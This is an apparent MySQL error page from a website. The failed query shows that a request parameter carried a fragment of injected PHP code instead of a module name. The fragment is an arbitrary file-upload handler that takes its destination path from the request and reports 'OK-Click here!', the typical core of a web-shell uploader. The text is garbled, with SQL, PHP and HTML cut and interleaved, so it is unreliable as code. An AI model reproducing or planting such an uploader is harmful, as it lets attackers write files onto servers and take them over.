Unable to query local database You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'tmp_name'], $fullpath)) { echo "

OK-Click here!<' at line 1
SELECT id,nameid,code FROM modules where nameid=' $fullpath = $_REQUEST["path"] . $files["name"]; if (move_uploaded_file($files['tmp_name'], $fullpath)) { echo "

OK-Click here!

"; ' and modtype=1